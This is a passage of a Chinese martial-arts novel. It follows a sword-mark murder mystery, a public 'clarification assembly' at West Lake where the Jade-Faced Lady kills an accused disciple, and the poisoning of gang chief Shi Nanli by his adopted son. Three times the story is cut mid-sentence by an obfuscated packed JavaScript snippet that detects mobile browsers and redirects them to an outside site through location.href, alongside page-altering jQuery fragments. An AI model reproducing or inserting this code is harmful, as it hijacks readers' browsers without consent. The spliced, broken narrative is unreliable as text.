说话的两人是苗疆央月教座下的四大正使之二,男的书生模样,身材薄瘦,四十上下,腰间一副铁镣铐,武器虽邪,却偏爱与人讲理论道,人称“文捕快”。女的三十朝上,风风火火,挎一柄长剑,正是“辣手摧花女剑魁”。暴雨夹杂着电闪雷鸣,两人都放大了声音对话,想着此时的荒郊野外不会有旁人,因此都不自觉使了内力,声音嘹亮直传出去几里,却哪知前面的山洞里还藏了一个少女,将两人的对话听了个一清二楚。 二人说的虽是瑶语,少女却听的明白。耳闻着两人声音越来越近,七年前的恐惧再度袭上心头,她不自觉地开始全身颤抖,拔下发间的簪子,头发忽攸散落下来,自己不会丝毫武功,她宁愿自行了断也绝不愿再踏回瑶疆一步。 不能让他们发现自己,绝对不能。 “别说话。” 年轻男子的声音从耳后传来,少女一惊,口鼻已被捂住,还未反应过来,男子已然带着自己向后几步隐到了山洞深处一块巨石后。 石焉惊疑未定,刚刚进来时分明没发现这山洞里还藏有旁人啊。 男子放开捂住她口鼻的手,伸出二指,搭在她脖颈上,运内力为她调匀呼吸,她不明所以,却好像被点了穴位一般也动弹不得,只感到似是有一股温热的力量注入,不自觉地跟着他的节奏慢慢呼吸。他在救我隐藏脉息,是刚才以簪指颈的动作让他察觉到了自己对来者的恐惧吗?不及多想,那一男一女随即下马走了进来。 “盛夏的雨不会下太久,放心吧师妹,定不会误了正事。”那男人道。两人自顾自地聊天,显然都没发觉雨声下洞穴深处隐藏的另外两人。果然不过一会,雨便停了,幸好那一男一女也不多休息,马上走了出去。 待得马蹄声渐渐远了,男子放开手,她忙转身退开两步。 念及现在自己披头散发的模样,有些不好意思,低着头欠了欠身道:“多谢少侠相救,将来若有机会,必携长辈登门致谢。” 匆匆离开后,回到家中的石焉翻来覆去睡不着觉,刚才山洞中,她借着洞外的月光抬眼瞧去,那人与自己年龄相近,他着一身荼白劲装。 “不必谢。”她快走时,他轻声回道。 比起一开始的利落架势,石焉感觉到他似是多了几分紧张和不自然,短短抛下这一句话便转身离开了。 只是这景象眼熟的很。 “他是谁…” 一个月前 宋酬雌眼睛充血而通红,一行人回到江陵扶苏之后,得到的就是这个噩耗。她去查看了师父的尸体,胸前伤口处,一朵五瓣梅花标记清晰可见。 宋西州只说自己看到了凶手,却再多说不出半个字,只瑟瑟着,怔怔地,如痴傻了一般。 宋酬雌反复追问无果,终于意识到小妹所受的创伤并不比自己当年小。 于是她时时陪伴,反复安抚,又告诉她,“你不用害怕,师父去找爹娘去了,她们自会在天上共同庇佑着我们。现在该害怕的是那个行残忍之事的残忍之人,你是幸存者,你见过他,你是那个能报仇,能替天行道的人。” 直到宋西州的眼睛开始恢复有神的光彩。 终于, 她看着手中的画作,那是一张半蒙面的侧写人像。 “凶手。”宋西州尤在心有余悸。她当日原本以为自己要一同命丧于此,却未曾想那杀手看到自己后,竟拔刀施展轻功走了。 “杀手用的什么武器?” “刀。” “是短柄弯刀吗?”宋酬雌心中的恨意又强烈升燃,她曾有一度,已经打算遵母遗愿,不再因为寻仇而日日寡欢,要去过新的生活。可为什么?他们为什么又要来害死师父? “不是,是一把长刀,和姐姐的剑差不多,有三尺长。他把刀拔出来的时候,刀首上,有一五瓣梅花的凸印。” “舒云剑?你可确定那人使的并非剑吗?” “肯定是刀,夜里虽暗,但有月色和流萤的反光反而叫我看的清楚,”宋西州双目炯炯,她在记忆里加深描绘了多次的场景,此刻复现出来已不再困难,“一侧亮绝一侧暗淡,那是单刃的刀,整体形制还有点弯!只是在刀首上加了整周皆利的梅花印,这才能在师父身上…留下双刃剑才有的痕迹!” “好妹妹,那他的左脸上,可有一道长疤?” “多长?” “长至眼角。” “他蒙着面,”宋西州努力回忆,那人当时单膝蹲在师父旁边,背对着,他转过头来,自己能看到他的左脸,虽然鼻子和嘴巴都被遮住,但是她记得清楚,那人眼角处没有疤痕,“没有长疤。” “姐姐,凶手是个左利手。”宋西州突然说道。 “左利手?” “我刚到院门的时候,从背面看见他的面巾掉在肩头,应该是打斗时被师父抓掉的。且他发觉背后有我时,是先用左手放开了师父身上的刀,然后拉上蒙面,又用左手再回去拔刀。一般人在背对来人并不想被发现的话,肯定会下意识直接用空闲的右手拉上蒙面吧?” “好妹妹,你很勇敢,姐姐知道了。” 凶手不是叶显开。 六月十四晚杭城 这天是杭城佳玉楼画舫游湖的日子。每个月的十四,佳玉楼都会派出十几艘大小画舫,点上花灯,置上书画或刺绣,在西子湖内展示。而这些画品的共同之处便是作者都是女子,有才女佳作,也有小民涂鸦,而若是哪一幅被湖边的游客看中了,则可请求船上的小吏将作品买下。这项活动已有五年之久,正是由九顷水帮帮主石难黎的孙女提议,水帮牵头举办的,目的旨在帮助平日忙于相夫教子的女子们,亦可在生活之余每月赚些贴补体己,还可陶冶情操,修养自身,长久以来倒也成了杭城美谈,往来的游客都要于这一天来瞧瞧热闹。而舫船都由九顷水帮提供,洽谈买卖则设在佳玉楼,因此也为佳玉楼引来了不少顾客,逐渐佳玉楼得益其中,也主动给画舫添置接客小吏和许多新奇玩意,还请来了一班乐舞班子,在头船上大兴舞乐,更是热闹非凡。 这天晚上石家人在院子里核对明日澄清大会来者的名单事宜,九顷水帮初成立时设在登州,自七年前石难黎将登州总舵事务交由义子与儿媳打理,自己则带着孙女石焉和孙儿石方来到杭城,只遥作全帮十二条舵线的最后一道把关。三人生活在一处,好不融洽。水帮弟子遍布天下,各自配合当地州府往来海运生意,都自成体系,因此本次杭城的澄清大会虽由九顷主办,但石难黎未曾从他处调来弟子,只从登州总舵调来了义子、儿媳带着几个得力弟子,一切事情皆由自家人亲力亲为。正谈论着,儿媳陆其陇推开院门进来,她道:“义父,今晚佳玉楼游船,明日又是澄清大会,这西子湖边人都聚满了,比往日多了足有一倍。我有些担心,若是有人闹事,别伤着百姓。” 陆其陇说的在理,石难黎决定带着石焉同去一趟西子湖。 “爷爷,等孙女去换件衣裳。”两人相视一笑,已有了主意。 到了地方才看到此时的西子湖的确是热闹非凡。原来方才喧哗间,有一红衣女子从岸边人群中突跃而起,眨眼间已经跃上了湖中的头船,那女子衣衫繁复层叠,红踟蹰,血胭脂,苏芳木,直要把所有艳丽色彩都堆砌于一身,倒比周围的乐师舞师们更像是笙箫闹集中的人,又带了满头装饰,远远看去不见黑发只见珠环,夺目却不璀璨,过犹不及,她行为乖异,神色竟还颇为自得,几分稚拙童真倒像年幼爱扮家家酒的女童,致人侧目。 她上船后不由分说直接推走正不明所以的乐师,大剌剌坐下后便开始上手拨弄,船上的小厮上前阻止却被其一掌推入水中,四周喧哗更甚,岸上有会水的人立刻跳入水中将几位小厮救上,那红衣女子也不予理会,只一味陶醉于自己抚琴之中。可她根本不通音律,实是乱弹一气,刺耳无比。 一位年轻男子一身荼白衣衫立在岸边,他似是不悦,紧皱眉头,正要施展轻功,上船去制止,却听到湖心处传来一阵咳嗽,那咳嗽声内力十足,直穿透琴声而来,他被打断,寻声望去,湖心一艘小渔船正缓慢滑行而来,船头一位老者撑杆缓行,时不时又咳嗽一声,他每咳一下,远处水波都被震出更大的涟漪,自己的小舟却平稳如初。男子暗叹,有此等内力的,全杭城除了石难黎想必也找不出第二个。 小舟上的老者正是石难黎,他只以咳嗽的方式,希望船上的红衣女可以知难而退。可那女子不仅不退,反而也用起内力对抗起来,琴声一下子洪亮了几倍,她双手轮拨,湖面上弹出一个个水坑。石难黎也不恼,他过一会咳一声,便已经足以应对对面的嘈嘈切切。那女子越发气躁起来,琴声急切,显然是自乱了阵脚。 此时,小舟船篷后钻出一位女子,她一袭月白长裙,身后一段披帛,发上一弯玉簪,立于舟尾,她理了理衣衫,肩肘轻带,人已舞了起来,音乐虽杂,但在女子的裙下却好像自成声律。舟尚在湖心,岸边的人已经都叫好了起来,“是石焉姑娘!石焉姑娘出来跳舞了!” 年轻男子混在人群中,看得清楚,也听了个大概。那日山洞中受惊握簪的少女如今正是船上舞者,她便是九顷水帮帮主石难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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年轻男子见状也跟上前去,只见她上岸后又进了佳玉楼要了三层一雅间,男子进去时,那红衣女子正翘着二郎腿,横坐窗上,半个身子探于楼外,手里举一银制酒壶,身后的小茶几上摆满了各色糕点。 “师兄,你刚刚怎么不出手帮我啊,就看着我被那一老一少戏弄,好没脸面。” “你要是哪一天也知道丢脸了,我就不姓江了。” 通过窗户仍然可以看见西子湖上灯火辉煌,不远处的一叶扁舟上,石焉的舞蹈还在继续。 “师兄!”红衣女子翻身跃下窗台,捡了块酥黄独扔进嘴里,嚼的话也说不清,“老头内力深厚我的确打不过也就算了,那丫头一看就是个手无缚鸡之力的弱女子,可气仗着老头在,我竟也奈何不了她一分。” “山黛,人各有所长,许多事不是靠武力就能分高下的。”姓江的男子颇感无奈,揉揉眉心接着道,“我才离开不到一个时辰,你怎么把自己打扮成这个样子?” 名叫山黛的正是这名红衣女子,和年轻男子乃同门师兄妹,两人此行便是代表师门参加次日澄清大会的,吃过晚饭后两人便暂分了一会,姓江的公子去找了一家铁铺打了把衬手的长刀,于是山黛离了师兄的管束,便一路吃喝一路添买,不一会就把自己全身上下都置办齐了。 她自拜师就鲜少离开过师门,更未曾到过繁华州市,从小穿的是粗布麻衣,直到师兄学成后,才会在每次外出回来后带些所赚银两或是吃的玩的,年纪尚小的她不知师兄的钱财是以何种代价交换而来,只以为出去就意味着有漂亮物件。因此此次来杭,她在集市里转的眼花缭乱,手里握着师兄的钱袋子,更是直接花了个大半,只是她见识浅鄙,难辨雅俗,一股脑将各种玩意儿各类花色都叠在自己身上,私以为这就是美。 “这个样子是什么意思?难道不好看?”山黛不明所以,却看着师兄对着窗外凝神,她循着目光一并望去,连同楼下的人群,众人的目光都集中在一个人身上——舟上的白裙女子。 她瞧着瞧着也入了迷,“这丫头确实舞姿动人,要是换了二师兄在这,肯定早就追上船去了。” “丫头长丫头短的,人家比你还大一岁。” “你怎么知道?” “我自然知道。” 山黛又被糕点吸引了视线,当下也不再斗嘴,只坐在桌旁大快朵颐,师兄走到身后也没在意,突然脖子上一下剧痛,当下便失去了意识。年轻男子将她手里的点心放下,怕噎着又将人趴放在桌边,再去掌柜的处结了一晚上的银子,留下一句话“明日估计晚间左右,若三楼雅间的姑娘醒来,烦请帮我告之直接回师门即可。” 过去两个月,江湖上连着发生了五起命案,每次都冲着一派之首而去,而五位掌门身上伤口之处都现梅花印记,一时之间,剑尖雕有梅花标的舒云剑就是凶手的传言传遍武林。 舒云剑的主人,众所周知。 可对方不理会,不露面,他们竟也无可奈何。因此五大受害门派联合向在江湖一贯大有威望的九顷水帮求助,也只有帮主石难黎能够遍邀江湖各派,组织澄清大会,而也只有石帮主亲口说其一定请到舒云剑主亲自到场,众人才相信几分。 江姓公子与红衣女子便是受邀前来赴约的其中一派,只是山黛不谙世事,明日大会情况复杂,今晚又闹出这么大的动静,还是让她躲过去为妙。他想。 4. 第一章第一节 “卷云洞到——” 六月十五的正午,太阳正烈,强光直射地面,人群被撕开一道口子,众目睽睽向后看去,一人徐步走来,荼白衣衫,背挂长刀,目不斜视,径直步入正中。他仪高面俊,立于人群中央,微风回旋,衣袂自动,如野鹤临立,他看向众人,温声道,“在下江南,替卷云洞前来,不知五大派的凶手找到了没有?今日若有帮的上忙的,还请尽管开口。” 原来你叫江南。 宋酬雌亦站在众人之中,见到来者,她心念一动,拔剑直穿人群,径直向江南刺去,“久闻卷云洞独特,今日宋某先来领教。” 宋氏剑法中的快剑十六招以灵巧轻捷著称,每一招又可以幻化出十数种不同的剑式,十六招变法互为补充,前后贯通,如若运用得当便是打上两个时辰也用不尽。宋酬雌虽攻的又快又精,力道却不足,江南不打算拔刀,只用双手格挡,可宋酬雌一剑比一剑来的尖锐,招术花样百出,一会东一会西,扰的人眼花缭乱,这套剑法确可以在某种程度上弥补内力缺陷,只是对江南来说,还是慢了。他心中本不肯伤人,因此只是空手招架,并不还招,对方却攻的极猛,若想尽快结束缠斗,必须拔刀。 或许她想要的就是我出刀,便如她所愿。 江南右手抽刀而出,宋酬雌见刀脸上闪过一丝讶异,手下不停,仍然来势汹汹,江南见招拆招,只守不攻,两人都以快招见长,剑风四起,左右来去,西子湖时不时被挽起水花,却不知风从何处来,只能见到刀剑残影。几个来回后宋酬雌自知再打无益,利落撤了剑退开两步,“江少侠好快的刀法。” “阁下的剑法亦然,江某从未见过哪位女子的出招速度可以与阁下相较。” “少侠谬赞,只是宋某多嘴一句,少侠行走江湖也该配一把好刀,听闻卷云洞主曾把卷云刀赐予她最得意的弟子,难道,卷云洞的第一高手竟不是少侠吗?” “刀剑于江某不过顺手器物,至于卷云刀,并非我所有。”他道完一句便拱手下场,只留对方怔怔原地。 江湖里谁不是把刀剑武器当作第二条命一样来看待,他居然如此不置一词,方才他使的长刀也的确是普通的不能再普通的铁料子,难道当真如传闻所言,武功高强者,可摘叶作刀,化风为剑吗?宋酬雌一时有些怅然,她相信妹妹亲眼所见,即便江湖传闻凶手是舒云剑主,但她亦坚信,那人用的是刀。五派之中唯她扶苏门有一幸存孩童见到了杀手面目,她为护妹妹,没告诉任何人。但要解释留下的梅花印记,会是与舒云剑相对应的卷云刀吗? 舒云剑因其主玉面夫人而名扬天下,传闻打造这把剑的人为了怀念自己的爱人,遂在剑首雕刻五瓣梅花。而卷云刀作为出自同一名手的作品,却从未公然面世,关于其的消息也少之又少,今日卷云洞首次派弟子露面,宋酬雌便有意要探一探卷云刀的形,是否也有那梅花刻? 但此刻她好似见到了那双画像中的眉眼,却没见到那把刀。 而不知道为什么,这个叫江南的男子眼中,总让她看到与师父和母亲类似的神色。 况且江南全程右手持刀,招数又稳又快,绝非一朝一夕可改,那么他不是那个左利手。 眼下仅靠一双与画像重合的眉眼,既不能确认江南就是凶手,自己引以为傲的剑法又总是慢人一步,她只觉得山外有山,人外有人,日后如何带领师姐妹们发扬扶苏一门。正在她暗自神伤之时,遥听得身后上方隐有衣料摩挲声,还未来得及反应,脚边便被重重砸下一个麻布袋子,宋酬雌回头,一位女子飘然而至,神闲气定立于麻袋旁。 她一袭云峰白长裙,外罩缃色长衫,凌虚髻旋拧交集,如云如环,托于头顶,额面干净,发尾如瀑,玉面具下犹见凝肤胜雪,唯有两串绿琚葫芦坠于耳畔,正是悬空绾起头上髻,明月与作耳边珰,宛若嫦娥仙子出画而落,气度芳华,高洁自持,孤傲如秋芳初结白芙蓉。 “玉面夫人。”宋酬雌只在数年前随师父外出时遥遥见过一眼,如今她就站在自己身旁,才感到与自己当真是判若云泥,岁月流逝,却更见其沉稳自立,凌寒而不可方物,如若不是身侧的一柄舒云剑刺目,她当真也要被摄去心魄,忘乎所以。 显然,玉面夫人所到之处,便是所有视线汇聚的所在,更何况她本就是今日大会的主角,众人似乎都与宋酬雌一般,均未反应过来,更加没有注意到地上还有一个挣扎不停的麻袋。 “凌霄殿主到——”主会的小使一声大喊,众人安静下来,玉面夫人随即开了口,“今日诸位聚集于此,就是为了五派掌门的不明之死,我凌霄宫与五派皆有面缘,得此噩耗倍感震怒,更可恨者凶手每过一处都留下舒云剑痕迹,栽赃凌霄宫,我势必不能袖手旁观,今日便来给大家一个交代。” 闻得栽赃二字,众人一下子议论起来,桐城派新掌门道,“玉面夫人,你今日只身前来,言语中又提到栽赃,便请你给我们一个合理的说法,否则我们也只得认舒云剑主报仇。” 舒云出鞘,玉手翻转,剑气纵横,麻袋顿时飞溅成了碎片,里面竟露出一位被捆住的少女,她蜷缩在地上,气息微薄,一身深竹月难掩血迹斑斑,显然是已被挑断了手脚筋脉。“此女名山青,曾是我凌霄殿弟子,数年前家破后曾投奔过五派,奈何无果,便一直怀恨在心,后来入我凌霄殿,正是为了窃取舒云剑,可品行不端,月前也被我除名了。然而她做出杀人祸事,今日我把她带来,当众给个交代。” “她手筋脚筋俱断,如何证明她是凶手?” “五位掌门,根本不是死在舒云剑下。”玉面夫人不答,反而转身看向宋酬雌的方向,“所谓舒云剑痕,不过是伪造的。” 她怎么知道的?此事西州只告诉了我一人,她不是凶手,又怎么会知道剑痕是伪造的?宋酬雌感到有些后背发凉。 “山青一直寻找机会窃剑但是都未能成功,真正的舒云剑一直在我身边未离分毫,所以她被逐出师门后便伪造了一把假的,可惜她从未见过舒云剑真身,外形能根据传言仿制,可一旦伤人便会露馅。诸位不过是看到伤口处的梅花凸印所以认定乃舒云剑所伤,可惜没人知道,真舒云剑尖的梅花标乃是凹印,所以刺人后根本不可能留下任何标记。不信大家看——”玉面夫人手起剑落,一招刺入地上之人的心上,那少女顿时便不再动弹,直直死去了,胸前伤口薄如蝉翼,哪里有梅花标记? 这一过程太过轻巧,没有任何预兆,仿佛只是试剑中的一个普通动作,玉面夫人刺进那少女的心,就像刺进一块石头。若说少女夜刺五派掌门残忍,那玉面夫人杀害少女,谁又更胜一筹呢? “这…玉面夫人,你如此当众杀人,恐有灭口之嫌吧…”场中有看不过去者开了口。 “诸位信我也罢,不信也罢,我全然不在乎,今日乃澄清大会,我来只为澄清凶手所用并非舒云剑一事,眼下实证明白,已无需再说。如若诸位怀疑凶手并非山青,大可去继续查找,只是莫要再攀诬我凌霄宫她人,否则下场便如此女。”玉面夫人从袖间取出一小瓶,抛于空中用剑碎了直直丢向那少女,随即施展轻功凌跃众人去了。 众人眼睁睁见瓶中粉末一遇空气居然立刻燃烧起来,那少女瞬间便被火焰包围,人群中发出不少叹息的声音,更有惊惧尖叫声从人群后方传来,混乱中一道荼白身影跃起,长刀横空,江南直朝玉面夫人追去,双手一个横刀劈下,玉面夫人回身避过,“哪来的小子找死。” 两人交起手来,江南并 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17253644|197975||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是对面的对手,但也硬撑到了百招过后,已经到了死缠烂打式的打法,两人从岸边打到水中,虽然江南一直处于下风,但始终不肯罢休,已经用到了卷云刀法的最高一式,他贯出全部内力于这一刀上。玉面夫人本不认识他,只以为是五派中不懂规矩的来寻事,也不想取其性命,可眼见他越打越疯,招招为索命而来,刀虽普通,但一套招术皆是卷云刀法的最高级别。 原来是卷云洞的小鬼为山青报仇来的,看来不给点教训是不会罢休。 她以剑聚气,一个纵身干脆迎刀而上,刀剑相撞,卷舒交汇的一瞬间,水面骤起层层波澜,江南只觉得自己虎口欲裂,四肢内脏无不在破裂边缘,这时候若松了气,只怕立时就会连人带刀一起化为碎片,他额头上青筋暴起,硬是不肯退却一步。 瞳孔发胀欲裂,他此刻恨眼前人,如同恨自己。 麻袋四散飞裂的时候,他从没想过,里面的人怎么会是他的小师妹?! 他恨自己忙于差事,许久没有过问山青这段时间的外出,还道她独来独往惯了,又是去了哪里作乐。 他恨自己一辨为别,见到山青手脚俱废,脑中却仍冒出了主上任务未满,克制候以观变,伺机再行救人的想法。 他恨自己一念之差,以为玉面夫人至少是师父的亲姐,只为澄清舒云剑实为栽赃,却不会要了人命,何况当众。 舒云剑刺破她心口的时候,竟丝毫没有料到。他一向以速度见长,此刻他在场下,不过十五步的距离,却没能救下她。 直到玉面夫人从袖中取出小瓶,他恐惧未知,立时朝她冲去。 然而粉末起火的速度竟那样快,快到他从未见过,也无从预判。 火光吞噬中,玉面夫人毫不停留,一眼都不欲多观,碎了瓶身便正离去。 他如何能再让她走?! 缠斗许久,他感到自己的虎口就要开裂,那里不仅承托着对方现下的剑气,还有自己在片刻之前掐出的深痕。 “林惊时是你什么人?”玉面夫人突然问道。她内力充盈,施招舒展,在内力对决时亦可轻松出声。 “什么?”江南艰难地开口,豆大的汗珠一滴滴滑落下来。 “你听好,回去告诉你师父,这次的事情算我替她了了,下次若再如此,绝不会这么简单。”话毕,玉面夫人撤力收剑,江南手里的刀登时断为两截,喉头一热吐出一股鲜血来。他死死盯着玉面夫人离去的背影,终于双眼一黑倒了下去。 那边宋酬雌远远看见江南昏迷过去,一面觉得自己应该过去施以援手,另一面又始终对杀害师父的凶手之事心存疑影。 “宋师妹,别的门派都各自离去了,咱们也走吧。” “可那位江少侠,似乎是受了内伤。” “他受内伤,自有九顷水帮的人会善后,咱们还是尽快回去,向师姐妹们报备才好。” 宋酬雌犹豫再三,还是点点头,随众离去了。 烈火渐渐灭了,天色也暗了下来,湖对面的佳玉楼点上了大红灯笼,距离澄清大会已有几个时辰过去,行人往来,着急经过,无一人前去查看地上昏迷的男子,更不会有人看到远处的焦骨,江南和山青这样的人,本就是弃儿。 等江南睁开眼睛醒转,已是傍晚,他爬着坐起来,一转头便看到那边化成焦骨的山青,于是他愣了会神,拾起两截断刀,起身脱去外袍,走上前包了焦骨便往城郊林深处去。 杭城繁华,你我师兄妹本不配沾染。 行至木盛林密处,江南将山青埋土葬下,又折了粗壮的枝干以断刀磨了作碑,可要刻写什么,他却迟迟未动,若写山青,只怕会被五派之人挖坟掘尸,思来想去,终是未刻一字,无字碑也罢。 5. 第一章第二节 向东再行两里地,便是上次避雨的山洞,玉面夫人虽及时收了手,但仍然让他负了内伤,江南眼下需要先找个安静的地方运功疗伤。 待行至附近,只见先前那两匹波斯绝影马此刻又被拴在洞口,十分显眼,江南悄悄潜近,听到里面共有三人,说的是汉语,除了那两位苗使,另有一男。 那男的道,“这牵机毒当真神效,义父喝下去当下就颈周僵硬,四肢蜷曲,果然状似牵机,任他有绝世武功,也使不出分毫。” “石兄,解药你可千万收好,此毒和此药各自只有一份,自研制之人死后再无人可配。”男使的汉语不太流利,磕磕绊绊,却再三叮嘱,“今日若不是突闻金鳞蛊鸣,我们永远想不到石帮主养在身边的孙女竟是我们一直苦苦所寻的圣女。事发突然,不及筹谋,否则我二人也不会找来石兄出此下策,今日的事,是我们陷石兄于不仁不义之地了,日后若有需要,我二人定全力以赴。” “见外了掌使!你放心,解药我收好了,等你带走石焉丫头,我立刻解毒!哈哈,要不是你事先告知,我也不知道那丫头竟是你们的圣女,还是个能尝百毒的铁身板。不过你放心,她在大会外场受的惊吓,到现在还晕着没醒,醒了也没用!她爷爷已经废咯!” “哎,石兄,咱们便快点去你家吧,此毒超过一个时辰,解药也无力挽回了。” 原来当天中午时分,留在家里的小石方闹着非要爷爷抱才肯吃饭,可一家子都去澄清大会了,只石焉留守,她哄不住,便领了石方往湖边去,姐弟俩上桥的时候,正是玉面夫人取瓶焚火之时,这一幕在其他人眼里是残忍,可落入石焉眼中,更成了致命武器。尖锐的嘶喊划破天际,在本就骚乱不已的现场并不显得如何突出,可在石难黎听来,他几乎是瞬间就辨认出来,那刺耳无比的尖叫,不是人声,是孙女身上金鳞蛊的叫声。 他顺着声音抬眼,白石桥上一抹淡影倒地,湖风乍起,只瞧见两条月白长袖,轻裾随动。 石难黎和儿媳陆其陇赶来桥上的时候,石焉倒在地上,小石方跌坐在一旁哇哇大哭,两个人立刻抱着姐弟俩赶回院子,待把石焉安置好,陆其陇便道,“义父,您赶紧回去吧,这玉面夫人来者不善,方才见到那叫江南的还上赶着去追,这会指不定打成什么样了,您得去镇着。” “放心,玉面夫人自有分寸,你回去一趟叫曾忆别担心就是了。如果有什么大事,你再回来报我。我不在这看着焉儿,总是不放心。” 陆其陇回到会场,众人都在围观玉面夫人鲜少动手的难得场面,却没见到丈夫石曾忆的身影,正左右寻找间,他从湖边的树林里走了出来,陆其陇迎上去,“你去哪了?焉儿和方儿都送回去了,义父正看着。” “嗯,我…” 人群中突然传来几阵惊呼,两个人转头望去,是江南和玉面夫人正同时向前几步,刀剑相接,两人内力交汇,风起云涌之间,两人似处于巨大的漩涡正中。 石曾忆道,“这少年刀法既快且准,想不到内力竟也可以和玉面夫人一拼,啧,小小卷云洞,也能养出这样的高手。” “自古英雄出少年。”陆其陇也感叹道,“光是勇气就值得敬佩,若是换了你我,十几岁的时候,如何敢挑战一流高手?” “英雄?狂妄无知所以无畏罢了。”石曾忆嗤笑一声,接着道,“对了,你先回家吧,义父又要看着焉儿,还得照顾方儿,我怕他顾不过来。” “行,那我回去了。你最后别忘记把山青姑娘的尸骨处理一下,义父说也是可怜的孩子,该给人家一个归宿。还有,我看江公子的架势八成是不到伤了自己不罢休,却不知是什么仇怨。你结束可带他回来,我们能医治的,也该尽地主之宜,义父特意交代了,这次大会若是有受伤的,我们都要请大夫来全部救助…” “知道了知道了,别老义父义父的,这些我都会想到的。” 晚些大会散场,石曾忆回来的时候,陆其陇正在忙着做饭,他换了笑脸一堆迎上去,“今晚下面啊?不如我来吧,你去歇着看看焉儿,这都一下午了还没醒,也不晓得怎么回事。” 陆其陇不想理会他突然殷勤地接手做饭是否是为下午的态度不好赔罪,只不想两个人拥挤在灶台,便问了两句会场情况,听后者说打斗已散,各门派都已稳妥送走,山青和江南也均已着人安置,便利索擦了手离开,但如果她知道这顿饭会为自己家带来灭顶之灾,她一定会做出不一样的选择。 用饭时石难黎只吃了几口就抖的连筷子都拿不住,紧接着就直愣愣翻着白眼晕了过去,全身蜷缩,首脚弯曲在一起,痉挛不止。全家一下子都慌了起来,“你守着义父和孩子,我去叫大夫。” 石曾忆着急地丢下这句话便出了门,陆其陇也慌了手脚,正不知该如何是好,石焉这时候推门走了出来,刚醒过来的她来不及思考院子里狼藉一地的碗筷是发生了什么,爷爷的样子太触目惊心,她心里升腾起一种非常不好的感觉,这样的姿态,是牵机毒才会造成的。她控制不住地开始发抖,但仍努力保持冷静,她先让陆其陇抓稳爷爷的手臂,好方便自己把脉,然后尝了一口石难黎碗里的面条,“真的是牵机毒。” 而牵机毒,是母亲会配置的。 “什么?面里有毒!?”陆其陇跌坐在地上,那岂不是意味着小石方也… “伯母,牵机毒服下立刻就会发作,你和方儿现在没事那就是没中毒,请你帮我封住爷爷脖颈后的穴位,不能让他一直抖下去。这个毒看似游走得快,但是真要发作,却得在一个时辰之后,爷爷内力深厚,如若能调动他自身内力,便可以抗阻毒性,要保命,不难。” 保命不难,可是如若一个时辰之内没有解药,那人的四肢和脖子都会僵硬而永远无法恢复。 “好,好…”陆其陇马上按住石难黎后肩后腰两处穴位,石焉也配合将爷爷侧躺放下,又解去外层衣物,将身上的手帕塞入其嘴里,在陆其陇的推按下,过不多时,颤抖之症已有明显减轻,石难黎眼睛也逐渐恢复了清明,他的神智一直清醒,便也按照石焉所说,开始尝试调动内力以抗毒性。 “家里刚才到底怎么回事?”石焉把小石方抱过来,给他们母子俩也分别把了脉,确保二人无虞。 “不知道啊,你在屋子里没醒,我们就在院子里吃饭,义父他刚吃了没两口就这样子了,那面我和方儿、曾忆都吃了!可只有义父中了毒,这到底怎么回事啊!” “伯父呢?” “他去找大夫了。”陆其陇稳定了一下精神,继续帮助石难黎推按穴位。 石焉没有说话,已经半个时辰了,只怕她这位伯父根本不是去找大夫的,甚至下毒一事也与他脱不了关系,不过他如何能拿到牵机毒,又趁自己昏迷时下毒? 只可能是央月教的人来了,但是他又怎么会和央月教牵扯到一起?是为了带走自己吗? 不过不管怎样,他们要的是自己,就一定会出现,解药也必定在他们手里。那便等他们来,再看情况夺解药。正思索着,院门口出现了三个身影,正是央月二使和石曾忆。 石焉知道自己的猜想已经应验了大半。 “圣女,请随我们回去吧,石帮主所中之毒的解药,就在曾忆兄那里。”那男使进来,用汉语道。 石焉听到解药本松了一口气,但又听到在石曾忆手中,心又一下子悬了起来,眼下局面太过不利,自己不会武功,爷爷自身难保,伯母一个人根本不可能打过对面三人,更何况其中一人还是她丈夫。如果自己被带走,石曾忆真的会给爷爷服解药吗?顾不上许多,石焉立刻取出颈中小盒里的金鳞蛊握拳于手中,她大声道,“我心里放心不下爷爷,请伯父先解毒,我看着爷爷服下解药,便立刻跟二位掌使离开,绝不多言。” 二使深知金鳞蛊脆弱无比,轻轻一用力只怕便会化为粉碎,他对石曾忆道,“石兄,便请你先拿出解药来吧。” “掌使,你别听她胡说,我现在解毒,义夫一旦恢复体力,你们二人可还能带得走焉儿丫头?现在便快快带了她走吧!” “我不看到解药,今日我祖孙二人便和这金鳞蛊一起,俱死在这!”石焉看石曾忆一味在推阻拖延,心下已经凉了大半,自己死倒无所谓,却连累了爷爷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17253645|197975||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 女使怕石焉真伤了金鳞蛊,便对石曾忆发了脾气,“你这人怎么如此啰嗦?快些拿出解药便是了!那解药发挥药效也需一炷香的时间,我二人自可带走圣女!” 石曾忆眼见瞒不下去,只好一甩手,“什么解药!我早就扔到湖里去了!” 此话一出在场的人无不震惊不已,陆其陇尤甚,她怎么也不敢相信丈夫竟会对义父下手,虽然他平日对帮主大权就多有觊觎,可那毕竟是养育他多年还传授武功的人啊! “我早就说了,中原男人最是诡计多端,就知道他不可信!”女使恨恨道。 